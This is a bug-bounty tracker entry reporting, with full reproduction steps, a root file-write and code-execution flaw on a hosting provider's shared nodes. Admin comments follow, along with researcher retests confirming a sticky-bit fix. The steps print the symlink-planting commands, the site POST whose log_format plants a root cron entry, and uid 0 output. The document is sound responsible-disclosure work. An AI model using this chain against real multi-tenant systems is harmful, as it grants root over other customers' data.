Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Bajinder - 20.09.2026
Last edited by cbay - 24.09.2026

FS#484 - Arbitrary file write and code execution as root on shared hosting nodes

Vulnerability Information:

Name of Vulnerability:
Arbitrary file write as uid 0 on the shared hosting nodes. Four privileged writers open a destination path inside a directory the customer owns, without O_NOFOLLOW, and the site fields "log_type", "log_file" and "log_format" let the customer choose both the destination and the content. This yields root code execution from a single HTTP request to the customer's own website.

Vulnerability Category: Remote Code Execution (RCE) / Horizontal and vertical privilege escalation / Local files access and manipulation, per the qualifying list on your bug bounty page.

Description:

Your control plane distributes per-account configuration to the fleet through the filesystem. Root processes on overlord-core and on the node write generated files into each customer's NFS-mounted home under ~/admin/.

Two of the directories in that path are owned or writable by the customer and neither carries the sticky bit, so the customer can move or delete the root-owned directories underneath and substitute their own.

/home/<account> is drwxrwx— root:<account>, and ~/admin/logs is drwxr-x— <account>:<account>, while its children logs/http and logs/sites are root:root.

rename(2) and unlink(2) require write and execute permission on the PARENT directory only. Therefore, an unprivileged customer can replace those root-owned children and can replace the whole ~/admin tree the same way.

Hardening the inner directories has no effect while their parent remains writable by the tenant.

Having taken control of the path, the customer plants a symlink where the privileged writer expects to write.

The writers open their destination with O_CREAT|O_APPEND and no O_NOFOLLOW, and do not unlink the destination first. They therefore follow the symlink and write to its target as uid 0.

For the HTTP access-log writer, the customer controls the content by selecting:

log_type=CUSTOM

This makes the site field log_format the access-log line format. It is free text with a maximum length of 1024, is not validated, and is emitted verbatim.

Path control plus content control therefore provides arbitrary root file creation and, from there, arbitrary root code execution.

Writing a crontab into /etc/cron.d/ produces a root shell within 60 seconds, and I obtained:

uid=0(root)

on the shared web node http22.

This is the same class as  FS#367 , which you fixed and paid, but it is a different mechanism.  FS#367  was argument injection into a sudo helper, and that helper is now correctly hardened.

Vulnerable Instances:

POST https://admin.alwaysdata.com/site/<id>/
fields: log_type, log_file, log_format

POST https://admin.alwaysdata.com/environment/ any change that causes configuration regeneration

~/admin/logs/http/<YYYY>/<log_file>-<date>.log
written by the shared front end as root

~/admin/logs/sites/<YYYY>/sites-<date>.log
written by the shared front end as root

~/admin/config/apache/sites.conf
written by "Updating Apache configuration" as root

~/admin/config/apache/apache.conf
same writer

~/admin/config/php/*.ini
regenerated root:root inside a replaced subtree

~/admin/logs/jobs/<YYYY>/<jobid>-<date>.log
written as root by the job command

The issue was reproduced on the web tier http22 and the SSH tier ssh2, which share /home over NFSv4.

Steps to Reproduce:

All steps run on vk7research, a free plan account I own. The starting state is a freshly provisioned free account with one site.

1. The precondition.

 The root-owned control tree sits inside directories the customer controls, with no sticky bit anywhere in the path.
 $ stat -c "%A %U:%G %n" ~ ~/admin ~/admin/logs
  1. > drwxrwx— root:vk7research /home/vk7research
  2. > drwxr-xr-x root:root /home/vk7research/admin
  3. > drwxr-x— vk7research:vk7research /home/vk7research/admin/logs
 $ ls -la ~/admin/logs/
  1. > drwxr-xr-x 3 root root 26 .. http
  2. > drwxr-xr-x 3 root root 26 .. sites
 Two root:root directories therefore exist inside a directory controlled by the account.

2. Take control of the destination path.

 $ mv ~/admin/logs/http ~/admin/logs/http.bak
 $ mkdir -p ~/admin/logs/http/2026
 Both commands succeed as the unprivileged account.

3. Plant the symlink under the filename the writer will open.

 The final path component comes from the site field log_file, so the name is known in advance.
 $ ln -s /etc/cron.d/l3root ~/admin/logs/http/2026/L3F-2026-09-20.log

4. Set the three site fields, authenticated as the ordinary account owner.

 POST https://admin.alwaysdata.com/site/1078598/
 Referer: https://admin.alwaysdata.com/site/1078598/
 csrfmiddlewaretoken=<tok>&log_type=CUSTOM&log_file=L3F
 &log_format=* * * * * root /bin/sh /home/vk7research/l3poc.sh
  1. > HTTP 302 (saved)

5. Issue ONE HTTP request to the customer's own website.

 The root writer creates the symlink target.
 $ curl -s https://vk7research.alwaysdata.net/ >/dev/null
 $ ls -la /etc/cron.d/l3root
  1. > -rw-r–r– 1 root root 48 Sep 20 07:36 /etc/cron.d/l3root
 $ cat -A /etc/cron.d/l3root
  1. > * * * * * root /bin/sh /home/vk7research/l3poc.sh$
 The cat -A output is exactly the submitted log_format value and is fully attacker controlled rather than being appended to an existing line.

6. Within 60 seconds cron executes it as root.

 The three commands below are the ones your rules specify for demonstrating root:
 $ id
  1. > uid=0(root) gid=0(root) groups=0(root)
 $ hostname
  1. > http22
 $ pwd
  1. > /root
 $ cat /proc/1/maps
  1. > 153 lines, 16495 bytes
 $ touch /root/vk7research ; ls -la /root/vk7research
  1. > -rw-r–r– 1 root root 0 Sep 20 07:37 /root/vk7research

7. Controls that rule out alternative explanations.

 a. Symlink following was isolated before any content control was attempted.
 A root:root file appeared at a path of my choosing using the config writer alone.
 b. A destination OUTSIDE the home, in a directory the tenant cannot write, confirms that the write is not merely occurring inside space I already own.
 /nfs/http22.root
 My UID receives Permission denied on it.
 $ ln -s /nfs/http22.paris1/ROOTWRITE_CANARY ~/admin/config/apache.conf
 (regenerate the Apache config)
 $ ls -la /nfs/http22.paris1/ROOTWRITE_CANARY
  1. > -rw-r–r– 1 root root 1254 Sep 20 07:39 /nfs/http22.paris1/ROOTWRITE_CANARY
 c. The destination is attacker-chosen and is resolved by the privileged writer.
 Pointing the same symlink into a directory that does not exist makes the platform task end in:
 Status: Failure
 instead of succeeding.
 /task/40446968/detail/ -> Failure
 (symlink target directory absent)
 /task/40447214/detail/ -> Completed
 (symlink target directory exists)
 d. This is a real uid 0 write on the node, not a root-squashed NFS write.
 A marker written to /tmp/L3ROOTPROBE-a1b2 is root:root on http22 and absent on ssh2, confirming that the write executes as root on the web node.
 e. The tenant cannot reach uid 0 through another route on these nodes.
 I checked:
 $ grep -E "NoNewPrivs|CapEff" /proc/self/status
  1. > NoNewPrivs: 1
  2. > CapEff: 0000000000000000
 sudo refuses over SSH entirely.
 $ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | wc -l
  1. > 0
 There is no SUID or SGID binary anywhere on either node.
 $ sudo -n -l
  1. > (root) NOPASSWD: /alwaysdata/sbin/install_language_package
 That helper is the only grant and is properly fixed.
 I tested 14 injection variants, including command separators, quotes, LF, -o Dpkg::Pre-Invoke::= in both argument positions, arithmetic subscripts and relative source CWD hijacking. All returned rc=2 and wrote no marker.
 $ head -1 /proc/1/maps
  1. > head: cannot open '/proc/1/maps' for reading: No such file
 /proc is mounted with hidepid=invisible, so the 16,495-byte capture in step 6 is obtainable only as uid 0.
 f. Your own codebase contains the correct pattern, so this is an inconsistency rather than a design choice.
 The php_ini writer creates a fresh content-hashed file:
 php-<siteid>.ini
 A planted symlink there is replaced rather than followed, and that writer is NOT vulnerable.

Proof of Concept:

Steps 1 to 7 reproduce end to end with standard Linux tools and an ordinary authenticated session on a free plan account.

I executed the chain twice through two independent writers described in steps 3 to 6, and also reproduced the behaviour with the Apache configuration writer in control 7b, whose root-owned output landed outside my home directory.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did NOT read other customers' files, mail, databases or keys. The scale figures in the Impact section below come from directory link counts on the NFS export roots, without entering anyone else's directory.

* While I held uid 0, I did not touch /etc/passwd, /etc/shadow, /etc/sudoers, any authorized_keys file, and I installed no persistence. The only files I created are listed in the cleanup note accompanying this report.

* I did not test whether root on this client is root on the imap5 or backup2 NFS exports, so I make no claim about the mail or backup stores beyond noting the relevant shared infrastructure.

* /etc/cron.d/l3root was removed and its absence was verified over a five-minute window with no further executions.

* The genuine root:root ~/admin/logs/{http,sites} directories were restored.

* I noticed that /run/rpcbind.sock is mode srw-rw-rw- on both ssh2 and http22, which are NFS clients of the customer mail and backup estate. I did NOT touch it because doing so would be disruptive and your rules prohibit that. I mention it so you can audit it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Several short-lived SSH sessions were used during that window, and the connection rate guard began refusing them toward the end.

Impact:

Any customer on a free plan can obtain uid 0 on the shared node that hosts their website with one HTTP request to their own website.

No paid product, special permission or second account is required.

The scale is visible from metadata that a tenant can read directly. The NFS export roots under /nfs/ are drwxr-x–x root:root, so they cannot be listed, but their directory link counts expose the approximate number of per-account subdirectories each volume holds:

$ ls -la /nfs/

→ drwxr-x–x 6393 root root http21.paris1
approximately 6391 per-account directories

→ drwxr-x–x 8147 root root http22.paris1
approximately 8145 per-account directories

→ drwxr-x–x 6006 root root imap3.paris1
approximately 6004 per-account directories

→ drwxr-x–x 27750 root root imap5.paris1
approximately 27748 per-account directories

http22, the node where I obtained root, is itself the NFSv4 server for the home directories on /nfs/http22.paris1.

That is the directory where my test demonstrated a root-owned file could be created at a path my account could not otherwise write.

Every co-tenant home is also mounted on the node, as shown by the tenant's own mount table:

http22.paris1:/<account> on /home/<account> type …

/var/lib/extrausers/passwd, the node-wide NSS database, holds approximately 8,515 accounts.

What follows from uid 0 on a POSIX host with those mounts is direct filesystem authority over the files the node can reach, including directories belonging to co-located accounts.

The root writer chain therefore includes access to locations such as:

/etc/sudoers.d
/etc/passwd
/etc/shadow
authorized_keys

I am not inferring a capability that was not tested. The demonstrated capability is arbitrary file creation as uid 0, including outside the customer's own home, and the resulting root shell.

On the argument that "our clients can already execute anything they want using the shell":

That reasoning does not apply here.

This is the reasoning previously used to close  FS#347 ,  FS#449  and  FS#470 , and I tested it rather than assuming it away.

Control 7e shows that the tenant shell cannot reach uid 0 through the existing routes:

* NoNewPrivs is 1, so sudo refuses outright.
* CapEff is all zero.
* There is no SUID or SGID binary on either node.
* The single sudo grant is correctly validated.
* /proc is protected with hidepid.
* The write demonstrated in steps 5 and 6 happens as uid 0.

The gap between what a customer shell can do and what this vulnerability yields is the entire finding.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because the trigger is an authenticated HTTP request to admin.alwaysdata.com plus one request to the customer's own site.

AC:L because the sequence is deterministic once the account and site are available.

PR:L because a free account is required.

UI:N because no other person participates.

S:C because the vulnerable component is the control plane's configuration service while the impacted component is the operating system of a shared node and the accounts co-located on it.

C:H, I:H and A:H because uid 0 on that node has authority over the data, configuration and services accessible from the shared operating system environment.

If you prefer to score only what I directly exercised rather than the full authority conferred by uid 0, the demonstrated arbitrary root file creation in /etc is itself sufficient to establish a Critical impact.

Recommendation:

1. Do not store root-owned state inside a customer-writable directory.

 Move the ~/admin control tree outside /home/<account>, or make /home/<account> and ~/admin/logs non-writable by the tenant, or set the sticky bit so the tenant cannot rename or delete root-owned children.
 This closes the whole class and is the only fix that closes all four affected writers.

2. Open every generated destination with O_NOFOLLOW, and write via a fresh temporary file followed by an atomic rename(2) rather than opening an existing path.

 Your php_ini writer already uses the correct pattern, so that implementation can be reused.

3. Drop privileges to the account's UID for anything written inside the customer's home.

 None of these files needs to be created by uid 0.

4. Validate log_format.

 It is currently up to 1024 bytes of unvalidated text consumed by a root process, and this is what turns the arbitrary file write into code execution.
 Restrict it to the documented format directives.

5. Audit the other writers in the same service for the same ordering and symlink-following issue.

 I found four affected writers, and the jobs/<YYYY>/<jobid>-<date>.log writer additionally embeds job-controlled content, giving it the same content-control property as log_format.
Closed by  cbay
24.09.2026 07:42
Reason for closing:  Fixed
Admin
cbay commented on 21.09.2026 10:21

Hello,

Thanks for the report. Can you confirm that it's fixed (on newly created accounts for now, until we deploy the fix on all existing accounts)?

Kind regards,
Cyril

Retest answer for a newly created account: not fixed.

The directory hardening you deployed is real and closes the easy version of step 2, but it leaves the parent directory untouched. One additional `mv` restores the entire primitive, and `log_format` is still unvalidated, so the content control remains exactly as before.

I provisioned a fresh free account for this test and reproduced an arbitrary root write on it 28 minutes after creating it.

Account used: `zzr1new0921`, ID `501047`, created 2026-09-21 at 11:56 UTC, free plan, UID `549144`, nodes `ssh2` and web node `185.31.41.11`.

Everything below relates to this account.

—

## 1. WHAT DID CHANGE, on a new account

The control tree is no longer tenant-owned, and the directories we previously targeted are now root-owned and not writable by the account:

```text
drwxr-xr-x root:root /home/zzr1new0921/admin
drwxr-xr-x root:root /home/zzr1new0921/admin/logs
drwxr-xr-x root:root /home/zzr1new0921/admin/logs/http
drwxr-xr-x root:root /home/zzr1new0921/admin/logs/http/2026
drwxr-xr-x root:root /home/zzr1new0921/admin/logs/sites
dr-xr-xr-x root:root /home/zzr1new0921/admin/config/php
dr-xr-xr-x root:root /home/zzr1new0921/admin/config/alwrapper
dr-xr-xr-x root:root /home/zzr1new0921/admin/config/profile
```

Compared with the original report, where `~/admin/logs` was writable by the account, the original attack is genuinely blocked now:

```text
$ mv ~/admin/logs/http ~/admin/logs/http.zzbak
→ cannot stat

$ mkdir -p ~/admin/logs/http/2026
→ mkdir: Permission denied
```

So step 2 as originally written in the report no longer works. Please keep that distinction.

—

## 2. WHAT IS NOT FIXED

### 2.1 `/home/<account>` is still writable by the account

The account can still rename the entire root-owned control tree and replace it with its own tree:

```text
drwxrwx— root:zzr1new0921 /home/zzr1new0921
```

Mode `770`, with no sticky bit.

At 12:01 UTC:

```text
$ mv ~/admin ~/admin.zzreal
→ succeeded as the ordinary account
```

This is the same primitive described in the original report.

Hardening the child directories has limited effect while their parent remains writable by the tenant. `rename(2)` only requires write and execute permission on the parent directory. The fix moved the boundary down one level instead of protecting the parent boundary itself.

—

### 2.2 The writers still open their destination through a symlink

With my own tree in place of `~/admin`, one symlink and one HTTP request were sufficient to reproduce the root write:

```text
12:01Z $ mkdir -p ~/admin/logs/http/2026

12:01Z $ ln -s ~/zzretest/CANARY-LOG ~/admin/logs/http/2026/ZZR1-2026-09-21.log

      lrwxrwxrwx zzr1new0921 ZZR1-2026-09-21.log -> /home/zzr1new0921/zzretest/CANARY-LOG

12:01Z $ curl https://zzr1new0921.alwaysdata.net/?zzretest=r1chain

  1. > 200

12:01Z $ stat ~/zzretest/CANARY-LOG

  1. rw-r–r– root:root 28 bytes /home/zzr1new0921/zzretest/CANARY-LOG

$ echo x » ~/zzretest/CANARY-LOG
→ Permission denied
```

The target path did not exist before the request. I chose the target, and it was owned by root and not writable by the account.

The writer followed the symlink exactly as before.

—

### 2.3 `log_format` is still 1024 bytes of unvalidated text

The content control is unchanged. `log_format` still accepts up to 1024 bytes of unvalidated text that is emitted verbatim by the root process.

Recommendation 4 has not been implemented.

```text
POST /site/1079009/

log_type=CUSTOM
log_file=ZZR1
log_format=ZZRETEST-R1-CANARY-cc31f0a9

→ 302
```

The field reads back unchanged.

The file created by root, both at the genuine path and through the symlink, contains:

```text
ZZRETEST-R1-CANARY-cc31f0a9
```

It is 28 bytes: the 27-character string plus one newline, with nothing else.

Therefore, path control plus content control as UID 0 remains the same arbitrary root write described in the original report.

I stopped there deliberately this time. I did not take a root shell or repeat the canary outside the home directory because both were already demonstrated in the original report, and I did not want to create additional artifacts for cleanup.

The target I chose was inside my own home directory so that I could remove it myself, which I did.

—

## 3. A CORRECTION TO MY OWN REPORT

Control 7e of the original report stated that there were no SUID or SGID files on the node. That was incorrect, and I am withdrawing that sentence.

Today, on `ssh2`, there are 13 SUID and 10 SGID files, including the standard Debian set:

```text
/usr/bin/su
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/sbin/mount.nfs
/usr/lib/openssh/ssh-keysign
/usr/sbin/lldpcli
```

as well as the usual shadow, crontab, mail, utmp, tty, and D-Bus helper binaries.

The conclusion of that control does not change. The relevant control is `NoNewPrivs=1` for the account's shell, which makes these SUID binaries ineffective for privilege elevation. It also prevents `sudo` from gaining the privileges it would normally require to run as root.

I re-verified this on the new account at 12:04 UTC:

```text
CapEff 0000000000000000
NoNewPrivs 1
```

The distinction between what the account's shell can do and what the writer chain can do as root therefore remains unchanged.

—

## 4. WHAT WOULD CLOSE IT

### 4.1 Make the home directory sticky

The cheapest complete fix is a single mode change on the home directory:

```text
chmod 1770 /home/<account>
```

This allows the account to create its own files while preventing it from renaming the `admin` tree owned by root.

That closes 2.1 and, with it, the writer primitive under `~/admin` for both new and existing accounts.

### 4.2 Move the control tree outside `/home/<account>`

Better, move the control tree entirely outside the customer's home directory.

This is recommendation 1 from the original report and is the only version that does not depend on directory modes for the security boundary.

### 4.3 Use `O_NOFOLLOW` for every generated destination

Every generated destination should be opened with `O_NOFOLLOW`, and the implementation should use `rename(2)` rather than opening an existing path when appropriate.

Your `php_ini` writer already follows this model. I can confirm that the PHP configuration is now read-only and root-owned on the new account, which is a good sign.

### 4.4 Validate `log_format`

Validate `log_format` against the documented directives.

When arbitrary content is emitted by a root process, any path-control primitive in the chain becomes code execution rather than merely a file-write primitive.

### 4.5 Drop privileges for writes inside customer home directories

Anything written inside a customer's home directory should run with that customer's UID rather than UID 0 wherever possible.

—

## 5. WHAT I DID NOT TEST

I did not retest an existing account because you said the rollout there is still pending.

If you want, I can run the same three checks against an existing account once you deploy the change there.

The two tenant-owned directories that are new in the layout:

```text
~/admin/logs/apache
~/admin/logs/php
```

were checked, but I did not find a root writer behind them. They appear to be written by the account's own processes rather than by UID 0.

—

## 6. CLEANUP

Account `zzr1new0921`, ID `501047`, was created only for this retest. Please delete it, or tell me to do so and I will.

The root-owned canary I created was removed by me, along with `~/zzretest`.

The genuine `~/admin` tree was renamed back within the same session. The following paths are root-owned again:

```text
admin
admin/logs
admin/logs/http
admin/logs/http/2026
```

The configuration tree and its subtrees are intact.

One further HTTP request at 12:04 UTC wrote to the genuine path again, confirming that the account is back in its normal state.

Nothing was written outside my own home directory during this retest, and no file belonging to Alwaysdata or any other customer was read, modified, or deleted.

Test window: 2026-09-21, 11:56 to 12:05 UTC
Egress: single IP
Requests: three root-write reproductions
Rate limiting: the node's connection-rate guard refused a fourth request, as it did during the original testing.

Admin
cbay commented on 21.09.2026 12:59

Thanks. The sticky bit has now been added to the home directory. Can you confirm that it fixes the issue for newly created accounts?

Confirmed. The sticky bit closes it for newly created accounts. I provisioned a new account after your change and could not reproduce the write by any route I could find, including the four writers named in the report and two additional paths that the sticky bit would not have covered.

Account used: `zzr1sticky0921`, ID `501073`, created 2026-09-21 at 13:22 UTC, free plan, UID `549171`, node `ssh2` and web node `185.31.41.11`.

1. THE PRECONDITION IS GONE

 drwxrwx--T  mode 1770  root:zzr1sticky0921  /home/zzr1sticky0921

Every way I know of to displace a root-owned entry in the home directory is now refused, checked at 13:24 UTC as the ordinary account:

$ mv ~/admin ~/admin.zzbak
→ Operation not permitted

$ rmdir ~/admin
→ Operation not permitted

$ rm -rf ~/admin
→ Permission denied on every child, admin itself untouched

$ ln -sfn /tmp ~/admin
→ cannot overwrite directory

$ mkdir ~/zzretest
→ still works, so the home is writable for our own files

Afterwards:

drwxr-xr-x root:root /home/zzr1sticky0921/admin

The `admin` tree remained intact.

I also walked the whole home directory looking for any root-owned file whose parent directory we can write to. That is the general form of the precondition rather than the specific path from the report. There is none.

The only root-owned entry sitting in a writable directory is `~/admin` itself, and that is exactly what the sticky bit now protects.

2. THE FOUR WRITERS, RE-TESTED ON THAT ACCOUNT

I set the site to `log_type=CUSTOM` with `log_file=ZZSTK`, created a scheduled task running every minute, and issued one HTTP request.

All four destinations are root-owned and inside root-owned directories that we cannot write to:

-rw-r–r– root:root ~/admin/logs/http/2026/ZZSTK-2026-09-21.log
access log writer

-rw-r–r– root:root ~/admin/logs/sites/2026/sites-2026-09-21.log
service supervisor

-rw-r–r– root:root ~/admin/logs/jobs/2026/33047-2026-09-21.log
job writer

-rw-r–r– root:root ~/admin/config/apache/{sites,apache}.conf
apache config writer

drwxr-xr-x root:root ~/admin/logs/jobs
not writable by us

drwxr-xr-x root:root ~/admin/logs/http/2026
not writable by us

The job writer is worth calling out because we had flagged it in recommendation 5 as the one that also embeds the customer's command in the content.

Its log does contain our command verbatim:

[21/Sep/2026:15:25:47 +0200] … job: 33047 started (command: '/bin/echo ZZJOB-CANARY-7b41' …)

However, `~/admin/logs/jobs` is root-owned and not writable, so there is nowhere to plant a symlink and the content control leads nowhere.

The same applies to the access log writer, whose content is still our `log_format` string verbatim.

3. TWO ROUTES THE STICKY BIT WOULD NOT HAVE COVERED, ALSO CHECKED

3.1 Traversal in the destination filename

`log_file` is the final path component chosen by the customer, so a separator there could redirect a root write without requiring control of any directory.

It is validated:

POST /site/<id>/

log_file=../../../../zzretest/TRAV
→ refused

log_file=zzsub/TRAV2
→ refused

log_file=..%2f..%2fTRAV3
→ refused

log_file=TRAV4/../../../../zzretest/TRAV4
→ refused

All four return:

"File name : Only alphanumeric characters and _ are allowed."

3.2 Tenant-owned directories inside the control tree

Two exist on the new layout:

~/admin/logs/apache
~/admin/logs/php

I also checked:

~/admin/tmp
~/admin/data

I checked whether any privileged process writes into them, because that would restore the planting site regardless of the sticky bit.

It does not.

After the site had served requests, `apache.log` there was owned by the account, and none of those four directories contained a root-owned file.

4. TWO THINGS TO KEEP IN MIND, NEITHER OF THEM EXPLOITABLE TODAY

4.1 The fix now rests entirely on directory ownership

I could not re-test whether the writers open their destination with `O_NOFOLLOW`, because there is no longer anywhere to plant a symlink. That part of recommendation 2 is therefore untested rather than confirmed.

If a future layout change ever hands a path component back to the account, as `~/admin/logs/apache` and `~/admin/logs/php` do today for the account's own processes, the whole chain could return.

Opening with `O_NOFOLLOW` and writing through a fresh file followed by `rename(2)` would make that impossible rather than merely unreachable.

4.2 `log_format` is still 1024 bytes of unvalidated text

`log_format` remains 1024 bytes of unvalidated text emitted verbatim by a root process, and the job writer still embeds the customer's command.

That is the amplifier that turned a file write into code execution.

It is harmless while the destination cannot be redirected, and I am not asking you to treat it as a separate finding. I am only noting that it is the second half of the original chain and remains unchanged.

5. EXISTING ACCOUNTS

As you said, the rollout there is still pending, and we can see that.

An account created earlier today at 11:56 UTC still showed:

drwxrwx— mode 770 with no sticky bit

at 13:20 UTC, and:

mv ~/admin

still succeeded on it.

I did not go further than that single check, and I deleted that account myself afterwards.

Tell me when the fleet-wide change is deployed and I will re-run sections 1 and 2 against an existing account.

6. CLEANUP

 Account zzr1new0921, ID 501047, from the previous retest:
 deleted by us at 13:22 UTC.
 Account zzr1sticky0921, ID 501073:
 still present. It is the test account for this retest and can also be used for the existing-account re-run if needed. Say the word and we will delete it.
 Scheduled task 33047:
 deleted after the test, so nothing of ours is still running.
 One empty directory, ~/zzretest, remains inside that account's own home.

Nothing was written outside our own home directory, and no file belonging to Alwaysdata or any other customer was read, modified, or deleted at any point.

Test window: 2026-09-21, 13:20 to 13:30 UTC, single egress IP. Two SSH sessions, both ours.

Admin
cbay commented on 21.09.2026 15:24

Thanks, you can now claim your bounty by opening a support ticket.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing